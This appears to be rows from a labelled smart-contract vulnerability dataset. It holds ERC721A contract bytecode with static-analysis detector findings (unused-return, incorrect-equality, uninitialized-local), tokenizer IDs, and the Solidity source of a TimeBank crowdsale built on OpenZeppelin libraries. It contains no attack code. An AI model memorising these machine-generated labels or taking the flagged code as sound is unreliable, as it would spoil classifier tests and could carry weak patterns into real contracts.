610778565b6001600160a01b0316145b806119f8575081516119f8903361062b565b905080611a6d5760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f766564000000000000000000000000000060648201526084016107e3565b846001600160a01b031682600001516001600160a01b031614611ae15760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b60648201526084016107e3565b6001600160a01b038416611b455760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016107e3565b611b55600084846000015161190d565b6001600160a01b0385166000908152600560205260408120805460019290611b879084906001600160801b03166130aa565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b03861660009081526005602052604081208054600194509092611bd391859116613034565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526004909152948520935184549151909216600160a01b026001600160e01b03199091169190921617179055611c5b84600161305f565b6000818152600460205260409020549091506001600160a01b0316611ced57611c85816001541190565b15611ced5760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600490935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610af8565b6040805180820190915260008082526020820152611d52826001541190565b611db15760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b60648201526084016107e3565b60007f00000000000000000000000000000000000000000000000000000000000000048310611e1257611e047f0000000000000000000000000000000000000000000000000000000000000004846130d2565b611e0f90600161305f565b90505b825b818110611e7c576000818152600460209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611e6957949350505050565b5080611e7481613115565b915050611e14565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201527f206f776e6572206f6620746f6b656e000000000000000000000000000000000060648201526084016107e3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000808585604051602001611f51929190612f2a565b60408051601f1981840301815291905280516020909101209050611f758185612344565b6001600160a01b0316836001600160a01b0316149150505b949350505050565b61271081611fa260015490565b611fac919061305f565b1115611ff35760405162461bcd60e51b815260206004820152601660248201527545786365656473206d6178696d756d20737570706c7960501b60448201526064016107e3565b80600a54612001919061308b565b3410156120505760405162461bcd60e51b815260206004820152601760248201527f4e6f7420656e6f75676820455448207761732073656e7400000000000000000060448201526064016107e3565b6010546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015612089573d6000803e3d6000fd5b50610d7381612368565b60006001600160a01b0384163b156121e157604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120d7903390899088908890600401612fbd565b602060405180830381600087803b1580156120f157600080fd5b505af1925050508015612121575060408051601f3d908101601f1916820190925261211e91810190612dfb565b60015b6121c7573d80801561214f576040519150601f19603f3d011682016040523d82523d6000602084013e612154565b606091505b5080516121bf5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016107e3565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611f8d565b506001611f8d565b6060600c80546106f59061312c565b60608161221c5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612246578061223081613167565b915061223f9050600a83613077565b9150612220565b60008167ffffffffffffffff81111561226f57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612299576020820181803683370190505b5090505b8415611f8d576122ae6001836130d2565b91506122bb600a86613182565b6122c690603061305f565b60f81b8183815181106122e957634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612323600a86613077565b945061229d565b610b66828260405180602001604052806000815250612372565b60008060006123538585612699565b9150915061236081612709565b509392505050565b610d733382611969565b6001546001600160a01b0384166123d55760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016107e3565b6123e0816001541190565b1561242d5760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e74656400000060448201526064016107e3565b7f00000000000000000000000000000000000000000000000000000000000000048311156124a85760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b60648201526084016107e3565b6001600160a01b0384166000908152600560209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612504908790613034565b6001600160801b031681526020018583602001516125229190613034565b6001600160801b039081169091526001600160a01b0380881660008181526005602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526004909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b8581101561268e5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46126066000888488612093565b61266e5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016107e3565b8161267881613167565b925050808061268690613167565b9150506125b9565b506001819055610af8565b6000808251604114156126d05760208301516040840151606085015160001a6126c48782858561290a565b94509450505050612702565b8251604014156126fa57602083015160408401516126ef8683836129f7565b935093505050612702565b506000905060025b9250929050565b600081600481111561272b57634e487b7160e01b600052602160045260246000fd5b14156127345750565b600181600481111561275657634e487b7160e01b600052602160045260246000fd5b14156127a45760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016107e3565b60028160048111156127c657634e487b7160e01b600052602160045260246000fd5b14156128145760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016107e3565b600381600481111561283657634e487b7160e01b600052602160045260246000fd5b141561288f5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016107e3565b60048160048111156128b157634e487b7160e01b600052602160045260246000fd5b1415610d735760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016107e3565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561294157506000905060036129ee565b8460ff16601b1415801561295957508460ff16601c14155b1561296a57506000905060046129ee565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156129be573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166129e7576000600192509250506129ee565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831660ff84901c601b01612a318782888561290a565b935093505050935093915050565b828054612a4b9061312c565b90600052602060002090601f016020900481019282612a6d5760008555612ab3565b82601f10612a8657805160ff1916838001178555612ab3565b82800160010185558215612ab3579182015b82811115612ab3578251825591602001919060010190612a98565b50610df69291505b80821115610df65760008155600101612abb565b600067ffffffffffffffff80841115612aea57612aea6131c2565b604051601f8501601f19908116603f01168101908282118183101715612b1257612b126131c2565b81604052809350858152868686011115612b2b57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114612b5c57600080fd5b919050565b60008083601f840112612b72578081fd5b50813567ffffffffffffffff811115612b89578182fd5b6020830191508360208260051b850101111561270257600080fd5b80358015158114612b5c57600080fd5b600082601f830112612bc4578081fd5b6117e683833560208501612acf565b600060208284031215612be4578081fd5b6117e682612b45565b60008060408385031215612bff578081fd5b612c0883612b45565b9150612c1660208401612b45565b90509250929050565b600080600060608486031215612c33578081fd5b612c3c84612b45565b9250612c4a60208501612b45565b9150604084013590509250925092565b60008060008060808587031215612c6f578081fd5b612c7885612b45565b9350612c8660208601612b45565b925060408501359150606085013567ffffffffffffffff811115612ca8578182fd5b612cb487828801612bb4565b91505092959194509250565b60008060408385031215612cd2578182fd5b612cdb83612b45565b9150612c1660208401612ba4565b60008060408385031215612cfb578182fd5b612d0483612b45565b946020939093013593505050565b60008060008060408587031215612d27578384fd5b843567ffffffffffffffff80821115612d3e578586fd5b612d4a88838901612b61565b90965094506020870135915080821115612d62578384fd5b50612d6f87828801612b61565b95989497509550505050565b600080600060408486031215612d8f578283fd5b833567ffffffffffffffff811115612da5578384fd5b612db186828701612b61565b909790965060209590950135949350505050565b600060208284031215612dd6578081fd5b6117e682612ba4565b600060208284031215612df0578081fd5b81356117e6816131d8565b600060208284031215612e0c578081fd5b81516117e6816131d8565b600060208284031215612e28578081fd5b8135600481106117e6578182fd5b600060208284031215612e47578081fd5b813567ffffffffffffffff811115612e5d578182fd5b8201601f81018413612e6d578182fd5b611f8d84823560208401612acf565b600060208284031215612e8d578081fd5b5035919050565b600080600060608486031215612ea8578081fd5b83359250602084013567ffffffffffffffff80821115612ec6578283fd5b612ed287838801612bb4565b93506040860135915080821115612ee7578283fd5b50612ef486828701612bb4565b9150509250925092565b60008151808452612f168160208601602086016130e9565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff198360601b16815260008251612f548160148501602087016130e9565b919091016014019392505050565b60008251612f748184602087016130e9565b9190910192915050565b60008351612f908184602088016130e9565b835190830190612fa48183602088016130e9565b64173539b7b760d91b9101908152600501949350505050565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612fef6080830184612efe565b9695505050505050565b602081016004831061301b57634e487b7160e01b600052602160045260246000fd5b91905290565b6020815260006117e66020830184612efe565b60006001600160801b0380831681851680830382111561305657613056613196565b01949350505050565b6000821982111561307257613072613196565b500190565b600082613086576130866131ac565b500490565b60008160001904831182151516156130a5576130a5613196565b500290565b60006001600160801b03838116908316818110156130ca576130ca613196565b039392505050565b6000828210156130e4576130e4613196565b500390565b60005b838110156131045781810151838201526020016130ec565b83811115610f655750506000910152565b60008161312457613124613196565b506000190190565b600181811c9082168061314057607f821691505b6020821081141561316157634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561317b5761317b613196565b5060010190565b600082613191576131916131ac565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610d7357600080fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220bf04d53ea72170ba77dc61c52742392414b0f8177c8ff452efb07aa87968b86664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16576, 2063, 22610, 2581, 9468, 27814, 2575, 2683, 2050, 2549, 2050, 19317, 2620, 21619, 16932, 2683, 2475, 2497, 2683, 29292, 2581, 2497, 2620, 18939, 27814, 27814, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1012, 1013, 2918, 2121, 2278, 2581, 17465, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 14925, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,636
0x97182257973a7Baf1A6ccee9e4b5EcC21c11751f
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "./Crowdsale.sol"; contract TimeBank is Crowdsale { using SafeMath for uint256; address timeGuardian; uint256 private _changeableRate; constructor( uint256 initialRate, // the hour rate address payable wallet, IERC20 token ) Crowdsale(initialRate, wallet, token) { timeGuardian = msg.sender; _changeableRate = initialRate; } function setRate(uint256 newRate) public { require(msg.sender == timeGuardian, "you are not the Time guardian"); _changeableRate = newRate; } function rate() public override view returns (uint256) { return _changeableRate; } function _getTokenAmount(uint256 weiAmount) internal override view returns (uint256) { return weiAmount.mul(_changeableRate); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint256 initialMonth; uint256 initialYear; uint256 constant DAY_IN_SECONDS = 86400; uint256 constant YEAR_IN_SECONDS = 31536000; uint256 constant LEAP_YEAR_IN_SECONDS = 31622400; uint256 constant HOUR_IN_SECONDS = 3600; uint256 constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param P_rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param P_wallet Address where collected funds will be forwarded to * @param P_token Address of the token being sold */ constructor (uint256 P_rate, address payable P_wallet, IERC20 P_token) { require(P_rate > 0, "Crowdsale: rate is 0"); require(P_wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(P_token) != address(0), "Crowdsale: token is the zero address"); initialMonth = getMonth(block.timestamp); initialYear = getYear(block.timestamp); _rate = P_rate; _wallet = P_wallet; _token = P_token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ receive () external payable { buyTokens(msg.sender); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view virtual returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual{ // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual{ _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal virtual{ _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal virtual{ // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view virtual returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal virtual{ _wallet.transfer(msg.value); } function leapYearsBefore(uint256 year) internal pure returns (uint256) { year -= 1; return year / 4 - year / 100 + year / 400; } function isLeapYear(uint16 year) internal pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) { if ( month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12 ) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function getMonth(uint256 timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint256 timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint256 timestamp) internal pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint256 timestamp) internal pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint256 timestamp) internal pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint256 timestamp) internal pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function parseTimestamp(uint256 timestamp) internal pure returns (_DateTime memory dt) { uint256 secondsAccountedFor = 0; uint256 buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint256 secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } // Hour dt.hour = getHour(timestamp); // Minute dt.minute = getMinute(timestamp); // Second dt.second = getSecond(timestamp); // Day of week. dt.weekday = getWeekday(timestamp); } function getYear(uint256 timestamp) internal pure returns (uint16) { uint256 secondsAccountedFor = 0; uint16 year; uint256 numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ 